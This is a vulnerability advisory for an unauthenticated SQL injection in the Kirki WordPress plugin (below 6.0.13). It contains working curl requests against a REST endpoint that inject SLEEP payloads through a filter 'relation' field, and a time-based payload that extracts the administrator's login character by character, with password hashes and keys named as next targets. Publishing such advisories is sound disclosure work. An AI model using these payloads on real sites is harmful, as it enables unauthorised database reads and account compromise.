Kirki < 6.0.13 – Unauthenticated SQL Injection | CVE 2026-12721

Description

The plugin does not properly sanitise and escape a value taken from the request before using it in a SQL statement, allowing unauthenticated attackers to perform SQL injection attacks.

Proof of Concept

**Prerequisites:** a default WordPress install with **Kirki 6.0.11 active** and at least one published post (the stock "Hello World" post is enough). No login, no nonce, no Kirki content.

Two filter `items` share one `relation` value, so the executed clause becomes:
`... AND wp_posts.post_title LIKE '%a%'  <RELATION>  wp_posts.post_title LIKE '%b%'`
The only token that changes between the control and the attack is the injected operator.

### Step 1 — Control (an arbitrary sub-SELECT that does nothing):
```bash
curl -sk -X POST "https://victim.example/wp-json/kirki/v1/frontend/collection" \
  -H "Content-Type: application/json" \
  -d '{"collection_id":"rootcol","kirki_data":"{\"blocks\":{\"rootcol\":{\"id\":\"rootcol\",\"name\":\"collection\",\"properties\":{\"tag\":\"div\",\"dynamicContent\":{\"collectionType\":\"posts\",\"type\":\"post\",\"items\":1,\"filters\":[{\"id\":\"post_title\",\"type\":\"post_title\",\"items\":[{\"condition\":\"contains\",\"value\":\"a\",\"relation\":\"OR (SELECT 0) OR\"},{\"condition\":\"contains\",\"value\":\"b\",\"relation\":\"OR (SELECT 0) OR\"}]}]}},\"children\":[]}},\"styles\":{}}"}' \
  -w "\nHTTP %{http_code}  time %{time_total}\n"
# -> HTTP 200, ~0.03s
```

### Step 2 — Attack (inject SLEEP; only `0` -> `SLEEP(5)` changes):
```bash
curl -sk -X POST "https://victim.example/wp-json/kirki/v1/frontend/collection" \
  -H "Content-Type: application/json" \
  -d '{"collection_id":"rootcol","kirki_data":"{\"blocks\":{\"rootcol\":{\"id\":\"rootcol\",\"name\":\"collection\",\"properties\":{\"tag\":\"div\",\"dynamicContent\":{\"collectionType\":\"posts\",\"type\":\"post\",\"items\":1,\"filters\":[{\"id\":\"post_title\",\"type\":\"post_title\",\"items\":[{\"condition\":\"contains\",\"value\":\"a\",\"relation\":\"OR (SELECT SLEEP(5)) OR\"},{\"condition\":\"contains\",\"value\":\"b\",\"relation\":\"OR (SELECT SLEEP(5)) OR\"}]}]}},\"children\":[]}},\"styles\":{}}"}' \
  -w "\nHTTP %{http_code}  time %{time_total}\n"
# -> multi-second delay (the injected SLEEP runs as the WHERE is evaluated per scanned row).
#    On a stock single-post install: HTTP 200 after ~15s. With many posts the per-row
#    SLEEP can saturate max_execution_time and return HTTP 500 after ~40s. Either way the
#    timing delta versus the control is the proof.
```

**Time-based blind SQL injection confirmed:** control ~0.03s vs attack multi-second, sole change `0` -> `SLEEP(5)`.

### Data extraction (real DB read, not just a delay)
The injection accepts arbitrary sub-SELECTs, so a boolean/time oracle extracts data. Using an `IF(ASCII(SUBSTRING(...))=N,SLEEP(5),0)` predicate in the `relation` glue, the first administrator's `user_login` is recovered character by character (each character = one unauthenticated request, TRUE stalls ~5s, FALSE ~0.04s):
```
relation = OR IF(ASCII(SUBSTRING((SELECT user_login FROM wp_users ORDER BY ID ASC LIMIT 1),1,1))=116,SLEEP(5),0) OR
   -> response stalls (TRUE)  => character 1 ASCII 116 = 't'
```
Iterating the SUBSTRING index and binary-searching the ASCII code recovers the full `user_login`, then `user_pass` (password hash), auth keys, etc.